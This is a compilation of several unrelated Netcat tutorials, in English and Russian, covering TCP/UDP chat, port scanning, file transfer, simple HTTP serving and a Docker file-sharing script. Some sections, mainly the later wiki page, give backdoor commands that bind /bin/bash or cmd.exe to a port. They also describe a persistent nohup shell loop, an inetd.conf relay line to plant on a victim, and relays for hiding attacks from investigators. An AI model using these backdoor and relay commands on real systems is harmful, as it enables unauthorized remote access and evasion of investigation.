There are a number of protocols powering the Internet of Things. Choosing the right one will depend on your project’s security, bandwidth and reliability needs, or maybe just your device computing limitations. In some cases like cellular transmission, the good old TCP/UDP packet transmission will work just fine. This article will show you how to simulate a client using a useful tool called Netcat and realize the immediate connection using your own computer’s terminal.
To learn how to send data to Ubidots using these protocols, see Send Data to Ubidots over TCP or UDP.
What is Netcat?
Netcat is a featured networking utility which reads and writes data across network connections, using the TCP/IP protocol. Designed to be a reliable «back-end» tool, Netcat can be used directly with other programs and scripts to send files from a client to a server and back. At the same time, it is a feature-rich network debugging and exploration tool that can specify the network patameters while also establishing a connection to a remote host via a tunnel.
Although Netcat can do many things, its main purpose and most desirable function is to:
-
Create an initial socket to establish a connection from server to the client.
-
Once connected, Netcat will automatically generate a second socket to transmit files from the server to the client and visa versa. (This is the really cool part.)
Reference below for a diagram of the data Netcat protocol architecture.
Something so simple happens to be extraordinarily powerful and flexible as you will see below. For simplicity, local connections are used, although, of course, they can be used between different machines.
Syntax
nc [-options] hostname port[s] [ports]
nc -l -p port [-options] [hostname] [port]
Basic parameters
-
—l: set the «listen» mode, waits for the incoming connections.
-
—p: local port
-
—u: set the UDP mode
Test your Netcat understanding as a client-server
Open two computer terminals, the first will act as the server and the second will be the client.
TCP client
With Netcat your PC can be converted in a server, you want to begin as a server that listens at port 2399:
$ nc -l 2399
In addition, we can use the server to connect to the port (2399) recently opened, from the client side:
$ nc localhost 2399
As you can see on the image below, the connection is established:
With the connection established you are now able to write to the server from the client:
$ nc localhost 2399
Hello Server
In the terminal where the server is running, your text files will appear seamlessly.
$ nc -l 2399
Hello Server
UDP client
By default Netcat uses the TCP protocol for its communications, but it can also UDP using the -u option.
As we mentioned at the previous step, Netcat lets you convert your PC in a server. In this case we’re going to establish the connection between the server and the client but using UDP.
From the server side, run the command below. As you can see, the command establishes the UDP connection just requires the -u to be added to the command:
$ nc -u -l 2399
Once you start the server, establish the connection with the client:
$ nc -u localhost 2399
Now the client and the server are using UDP protocol for their communication. You can verify commincation using the netstat command in a new (3rd) computer terminal.
$ netstat
| grep
2399
udp 0 0 localhost:2399 localhost:57508 ESTABLISHED
As you can see in the images below, the message is received by the server, and the transmission is verified by the connection:
With this introduction to Netcat, you now have a better understanding of this advanced tool to send data quickly and efficiently between client and server. For additional information, check out this link.
Happy Hacking!
This article was originally published on Ubidots’ Blog on June 22, 2017.
Netcat (или nc) — это утилита командной строки, которая читает и записывает данные через сетевые подключения, используя протоколы TCP или UDP.
Netcat (или nc) — это то один из самых мощных инструментов в арсенале сетевых и системных администраторов, который считается швейцарским армейским ножом сетевых инструментов.
Netcat является кроссплатформенным и доступен для Linux, macOS, Windows и BSD. Вы можете использовать Netcat для отладки и мониторинга сетевых подключений, сканирования открытых портов, передачи данных в качестве прокси-сервера и многого другого. Пакет Netcat предустановлен в MacOS и популярных дистрибутивах Linux, таких как Ubuntu.
Синтаксис Netcat
Самый основной синтаксис утилиты Netcat имеет следующий вид:
В Ubuntu вы можете использовать либо netcat
или nc
. Обе они являются символическими ссылками на версию Netcat для openBSD.
По умолчанию Netcat пытается установить TCP-соединение с указанным хостом и портом. Если вы хотите установить UDP-соединение, используйте -u
опцию:
Сканирование портов
Сканирование портов является одним из наиболее распространенных способов использования Netcat. Вы можете сканировать один порт или диапазон портов.
Например, для поиска открытых портов в диапазоне 20-80 вы должны использовать следующую команду:
nc -z -v 10.10.8.8 20-80
Опция указывает
-z - nc
на сканирование только для открытых портов, без отправки каких — либо данных для них и -v
возможность предоставить более подробную информацию.
Вывод будет выглядеть примерно так:
nc: connect to 10.10.8.8 port 20 (tcp) failed: Connection refused
nc: connect to 10.10.8.8 port 21 (tcp) failed: Connection refused
Connection to 10.10.8.8 22 port [tcp/ssh] succeeded!
nc: connect to 10.10.8.8 port 23 (tcp) failed: Connection refused
...
nc: connect to 10.10.8.8 port 79 (tcp) failed: Connection refused
Connection to 10.10.8.8 80 port [tcp/http] succeeded!
Если вы хотите распечатать только строки с открытыми портами, вы можете отфильтровать результаты с помощью команды grep .
nc -z -v 10.10.8.8 20-80 2>&1 | grep succeeded
Connection to 10.10.8.8 22 port [tcp/ssh] succeeded!
Connection to 10.10.8.8 80 port [tcp/http] succeeded!
Вы также можете использовать Netcat для поиска серверного программного обеспечения и его версии. Например, если вы отправляете команду «EXIT» на сервер по стандартному SSH-порту 22 :
echo "EXIT" | nc 10.10.8.8 22
Вывод будет выглядеть примерно так:
SSH-2.0-OpenSSH_7.6p1 Ubuntu-4
Protocol mismatch.
Для сканирования портов UDP просто добавьте -u
параметр в команду, как показано ниже:
nc -z -v -u 10.10.8.8 20-80
В большинстве случаев Nmap лучше, чем Netcat, для сканирования сложных портов.
Отправка файлов через Netcat
Netcat можно использовать для передачи данных с одного хоста на другой, создав базовую модель клиент / сервер.
Это работает, настроив Netcat на прослушивание определенного порта (используя -l
опцию) на принимающем хосте, а затем установив обычное TCP-соединение с другим хостом и отправив файл через него.
На приеме запустите следующую команду, которая откроет порт 5555 для входящего соединения и перенаправит вывод в файл:
nc -l 5555 > file_name
С узла-отправителя подключитесь к узлу-получателю и отправьте файл:
nc receiving.host.com 5555 < file_name
Для передачи каталога вы можете использовать tar для архивирования каталога на исходном хосте и для извлечения архива на конечном хосте.
На принимающем хосте настройте средство Netcat на прослушивание входящего соединения через порт 5555. Входящие данные передаются в команду tar, которая извлечет архив:
nc -l 5555 | tar xzvf -
На отправляющем хосте упакуйте каталог и отправьте данные, подключившись к nc
процессу прослушивания на принимающем хосте:
tar czvf - /path/to/dir | nc receiving.host.com 5555
Вы можете наблюдать за прогрессом передачи на обоих концах. После завершения введите, CTRL+C
чтобы закрыть соединение.
Создание простого сервера чата
Процедура создания онлайн-чата между двумя или более хостами такая же, как и при передаче файлов.
На первом хосте запустите процесс Netcat для прослушивания порта 5555:
nc -l 5555
Со второго хоста выполните следующую команду для подключения к порту прослушивания:
nc first.host.com 5555
Теперь, если вы наберете сообщение и нажмете, ENTER
оно будет показано на обоих хостах.
Чтобы закрыть соединение, введите CTRL+C
.
Выполнение HTTP-запроса
Несмотря на то, что есть намного лучшие инструменты для HTTP-запросов, такие как curl , вы также можете использовать Netcat для отправки различных запросов на удаленные серверы.
Например, чтобы получить справочную страницу Netcat с веб-сайта OpenBSD, введите:
printf "GET /nc.1 HTTP/1.1rnHost: man.openbsd.orgrnrn" | nc man.openbsd.org 80
Полный ответ, включая заголовки HTTP и код HTML, будет напечатан в терминале.
Вывод
Из этого руководства вы узнали, как использовать утилиту Netcat для установки и тестирования соединений TCP и UDP.
Для получения дополнительной информации посетите справочную страницу Netcat и прочитайте обо всех других мощных параметрах команды Netcat.
Netcat or NC is a utility tool that uses TCP and UDP connections to read and write in a network. It can be used for both attacking and security. In the case of attacking. It helps us to debug the network along with investing it. It runs on all operating systems.
Getting Started with Netcat
To start NC, the most basic option we can use the help command. This will show us all the options that we can use with Netcat. The help command is the following one: nc -h
Connecting to a Server
Here, we have connected FTP Server with the IP Address 192.168.1.6. To connect to the server at a specific port where a particular service running. In our case, the port is 21 i.e. FTP.
Syntax: nc [Target IP Address] [Target Port]
nc 192.168.17.43 21
Chatting
Netcat can also be used to chat between two users. We need to establish a connection before chatting. To do this we are going to need two devices. One will play the role of initiator and one will be a listener to start the conversation and so once the connection is established, communication can be done from both ends.First of all we will use windows 10 machine which will play role of Listener.Second we will use Kali linux machine which will play role of initiator. First, we will have to create a listener. We will use the following command to create a listener:
nc -lvvp 4444
where,
[-l]: Listen Mode
[vv]: Verbose Mode {It can be used once, but we use twice to be more verbose}
[p]: Local Port
how, it’s time to create an initiator, for this we will just provide the IP Address of the System where we started the Listener followed by the port number.
NOTE: Use the same port to create an initiator that was used in creating listener.
nc 192.168.1.35 4444
Creating a backdoor
We can also create a backdoor using NC. To create a backdoor on the target system that we can come back to at any time. Command for attacking a Linux System.
nc -l -p 2222 -e /bin/bash
For Creating Backdoor for windows system.
nc -l -p 1337 -e hack.exe
This will open a listener on the system that will pipe the command shell or the Linux bash shell to the connecting system.
nc 192.168.1.35 2222
Verbose mode
In netcat, Verbose is a mode which can be initiated using [-v] parameter. Now verbose mode generates extended information. Basically, we will connect to a server using netcat two times to see the difference between normal and verbose mode.
The command is nc 192.168.17.43 21 -v
Save Output to Desktop
For the purpose of the record maintenance, better readability and future references, we will save the output of the Netcat. To do this we will use the parameter -o of the Netcat to save the output in the text file.
nc 192.168.17.43 21 -v -o /root/Desktop/Result.txt
File Transfer
Netcat can be used to transfer the file across devices. Here we will create a scenario where we will transfer a file from a windows system to Kali Linux system. To send the file from the Windows, we will use the following command.
nc -v -w 20 -p 8888 -l file.txt
So, this was a basic guide to netcat. It’s quite an interesting tool to use as well as it is pretty easy.
I just want to share with you the complete solution that you can use to expose/make available a file via a network between remote computers with Netcat.
I use this perfect and simple solution to share a file between Docker Containers in a portable way without defining Docker Volume
or installing ssh
in the Docker container.
A simple bash function that exposes the file on the source machine:
# ------------------------------------------------------------------------------
# make the file available for another machine via the network
#
# this runs in the background to avoid blocking the main script execution
# ------------------------------------------------------------------------------
function exposeFile() {
local file port
file="$1"
port=1384
echo "exposing the file for another machine with..."
echo " file: $file"
echo " port: $port"
while :
do
{ echo -ne "HTTP/1.0 200 OKrnrn"; cat "$file" ; } | nc -l "$port"
done
}
The endless loop is necessary if you want to download the file more than one time because after the download Netcat
exists.
Call the bash method from your main script to expose the file when you need it:
#!/bin/bash
...
exposeFile "path/to/the/file.zip" &
Then you can use the a simple wget
to download the file on the source machine:
function fileDownload {
echo "downloading the file..."
local fileHome file
fileHome="/download/directory/"
file="myfile.zip"
local remoteHost remotePort
remoteHost="remote-host-or-ip"
remotePort=1384
mkdir -p "$fileHome"
wget -O "$fileHome/$file" "$remoteHost":"$remotePort"
}
I hope that this will help you to save some time
Netcat and Socat allows you to pass simple messages between computers interactively
over the network. The below setup will allow both client and server to send data to
the other party. It can act like a simple ad-hoc chat program. Socat can talk to
Netcat and Netcat can talk to Socat.
Note that []
is optional while <>
is necessary. For socat
, -
is short for
STDIO
and can be used interchangeably with STDIO
.
Note that there are 2 versions of NetCat. The BSD one and the GNU one. The Cygwin
version is the BSD one. The main difference is the specification of the hostname
and port when acting as a server. The BSD NetCat also supports IPv6 and Unix
Domain Sockets.
On the server:
# if on BSD nc -v -l [ip] <port> # if on GNU nc -vv -l [-s ip] -p <port> # if no ip, then it listens on all interfaces # alternatively using socat socat TCP-LISTEN:<port>[,BIND=<ip>] -
On the client:
nc -v <ip> <port> # alternatively using socat socat - TCP:<ip>:<port>
If the connection is refused or timed out, check the firewall settings on the
server and client (it may be refusing connections):
If it still doesn’t work, it’s possible the router is not forwarding packets
(you might be behind a NAT), or your internet doesn’t work.
You can also output the contents of a file in one response:
# if on BSD cat file | nc -l [ip] <port> # if on GNU cat file | nc -l [-s ip] -p <port>
On Windows, if you don’t have netcat
installed, there’s telnet
. However it
only works for TCP and not UDP.
If you have control over 2 computers but not the router, an easy way to know
what ports are available to be used is to perform port knocking using either
netcat
or telnet
. Just make sure to enable firewall logging. For iptables
this means setting up a logging rule, while Windows has a event logging
application.
<languages/>
You might also see: Socat
Netcat
Description
Netcat, often called the « Swiss Army knife TCP / IP » for creating sockets, that is to say, to make TCP or UDP networks.
Installation
Windows
Netcat Executable
http://www.hackosis.com/wp-content/uploads/2008/01/nc.zip
Installation via Cygwin
- Select The Cygwin Package Netcat 1.10-2
- Or Install From Source :
# wget ftp://heanet.dl.sourceforge.net/n/ne/netcat/netcat-0.7.1.tar.gz # tar zvxf netcat-0.7.1.tar.gz # ./compile # make # make install
Debian
# apt-get install netcat
Use
Listen To A Port
From a client, establishing a connection to a server (host) on a specific port (port) is simply:
# nc <hostname> <port>
On the server to listen on a specific port:
# nc –l –p <port>
For example, in a first terminal, enter the following command (listening on port 23):
# nc –l –p 23
In a second terminal, enter the command
# nc 127.0.0.1 23
Then enter the text. This appears in the first terminal.
Note
Once the client logs off, the connection is automatically closed. The -l option can be replaced by the -L option to leave the connection open, even if the client disconnects.
« Detach » Option
On Windows, the -d option allows detaching Netcat, that is to say, add it to the list of active services. For example, the following command, run on a Windows client, adds a listener on port 1234 Service:
$ nc -d –L –e cmd.exe –p 1234
It will then be enough from the server, as the following command line to access the client:
$ netcat 192.168.182.1 10001 Microsoft Windows XP [version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:cygwinhomea011830>
Creating a Rudimentary Backdoor
Shell
The -e option allows you to run commands via netcat. This makes it easy to create a rudimentary backdoor, as shown in the following example.
On the client (victim), enter the following command:
$ nc -l -p 1234 -e /bin/sh
From the position of the attacker, enter the following command (adapting the IP address):
$ nc 12.34.567.89 1234
From the position of the attacker, it is now possible to perform all the commands you want, as if they were physically on the remote machine.
cd / ls bin boot cdrom dev etc home ... <^C>
Reverse-Shell
When filtering system blocks connections from the outside, it is possible to create a reverse-shell. This technique can be implemented with Netcat.
With the technique of reverse-shell, this is not the attacker connects to the victim, but the reverse. Through -e option which allows you to run commands, the attacker can, from its terminal, run remote from his post commands. Note Running Netcat in client mode or listening on the computer of the victim can be done in a buffer-overflow. |
|
Port Scanning
Netcat provides an option for port scanning as shown by the following results:
$ nc -v -w 2 -z 127.0.0.1 1-200 DNS fwd/rev mismatch: localhost != xpsp2-20cc7397e localhost [127.0.0.1] 135 (epmap) open localhost [127.0.0.1] 110 (pop3) open localhost [127.0.0.1] 25 (smtp) open
Note
The -z option speeds up the scan to the extent that no further information on port status is displayed. In the case where -z option is not present, version information, if available, are displayed along with the state of ports.
$ echo QUIT | nc -v -w 3 12.345.67.89 1-100 localhost [127.0.0.1] 80 (www) open <b>Welcome to Apache 2.2</b> localhost [127.0.0.1] 25 (smtp) open localhost [127.0.0.1] 22 (ssh) open SSH-2.0-OpenSSH_5.1p1 Debian-5 Protocol mismatch.
File Transfer
Using pipes and redirection allows you to extend the functionality of Netcat, as shown by the following examples.
- In a first terminal, enter:
$ nc –l –p 1234 > output.txt
- In a second terminal (the input.txt file is supposed to exist in the root directory from which the command line is launched):
$ cat input.txt | nc 127.0.0.1 1234 –w 10
ou
$ nc 127.0.0.1 1234 -w 10 < input.txt
In the example above, the command issued in the first terminal can listen on port 1234 and redirect all that is given to the output.txt file. Control of the second terminal will display the file contents (cat input.txt), intercepted by netcat (using the pipe) which sends it to the host 127.0.0.1 on port 1234 Parameter -w 10 can automatically terminate the connection at the end of the operation (after a delay of 10 seconds).
Phonebook Transfer
Another example might be to copy an entire directory by compressing (compression operations / middle relief provided by the tar function).
In a first terminal:
$ nc -l -p 1234 | tar xvfpz –
In a second terminal:
$ tar cvzfp - directory | nc -w 3 127.0.0.1 1234
The first terminal is listening on Port 1234. With the pipe character, all that will happen on this connection will be intercepted by the tar function decompress (-xvfpz option) the content received in the current directory.
The second device compresses the directory folder and send it to Netcat that establishes a connection to the local host (127.0.0.1) on port 1234.
Connect To A Port
Connect to an open port allows you to converse with the service that listens on that port. For example, the following commands to connect to port 80/tcp a remote Web server, and the URL query
http://12.34.567.89/admin
$ nc 12.34.567.89 80 GET /admin <ENTER>
Provide the following result:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>401 Authorization Required</title> </head><body> <h1>Authorization Required</h1> <p>This server could not verify that you are authorized to access the document requested. Either you supplied the wrong credentials (e.g., bad password), or your browser doesn't understand how to supply the credentials required.</p> </body></html>
Simulating Service: Rudimentary Web Server
The following example shows how to use Netcat to make a rudimentary web server.
You need an index.html file with the following lines:
<html> <head> <title>Welcome</title> </head> <body> <h1>Welcome</h1> <div style=background:#ff0000>Welcome to my web server</div> </body> </html>
In a terminal, enter the following command:
$ cat index.html | nc -v -l -p 80 -w 3
When you call the http://127.0.0.1 address from your browser, you get the following:
Furthermore, the terminal displays the following output, corresponding to what sent the browser (Firefox here). You can have fun to connect with Internet Explorer or other browsers to analyze the contents of the headers sent by different browsers.
listening on [any] 80 ... DNS fwd/rev mismatch: localhost != xpsp2-efc514119 connect to [127.0.0.1] from localhost [127.0.0.1] 3955 GET / HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive
Function Relay
Description
The relay function is used by hackers. Indeed, the benefits are many:
- It helps to obscure the attack and thus make more complex the investigative work.
- Some relays may be in countries where the law does not allow investigators to continue the analysis.
- The relay can be set up by an attacker to pass filtering of systems (for example, install a relay in a DMZ to attack a host of the network, where direct connection to the victim is blocked by a firewall)
Netcat allows for such an operation, as shown in figure against.
Merely Passing With Inetd
Inetd is used to start services automatically when you start the computer. Each line must be formatted with the following syntax:
<service_name> <sock_type> <proto> <flags> <user> <server_path> <args>
An attacker could use an attack on a remote host (relay) to add the following line in /etc/inetd.conf of the victim, and automating the execution of a relay when starting the Netcat victim machine:
service_name | sock_type | proto | flags | user | server_path | args |
---|---|---|---|---|---|---|
1234 | stream | tcp | nowait | nobody | /usr/sbin/tcpd | /bin/nc 12.345.67.89 4567 |
Merely Passing With Mknod
Mknod creates special files or block type character. The following command, run on the relay machine used to create a special file First-In-First-Out (FIFO) and use it with Netcat to transit data.
$ mknod foo p $ nc -l -p 1234 0<foo | nc 12.345.67.89 4567 1>foo
Persistent Relay
The two previously seen relays are non-persistent relay. This means that if the closing of the connection by the hacker (by CTRL + C), the process of the relay is removed. It is possible to create a relay persist in Windows, using the parameter -L (capital L).
Under Linux, this setting is not available. Nevertheless, it is possible to create a loop that makes the relay persistent:
# while [ 1 ]; do nc -l -p 1234 -e /bin/sh; done
Note
Use CTRL + Z to stop such a loop, and then leave the terminal from which the program was launched.
This method works, but it is related to the session of the logged on user. In case of disconnection, the program stops. To create a true relay persist, the program must be run by the command ‘nohup’ to make it independent of the session.
For example, create the following program (persistent-relay.sh) :
#!/bin/sh while [ 1 ]; do nc -l -p 1234 -e /bin/sh; done
Make this script executable and searchable by the command
# chmod 555 persistent-relay.sh
Finally, call the script with the command:
# nohup ./persistent-relay.sh &
Talk:Netcat/en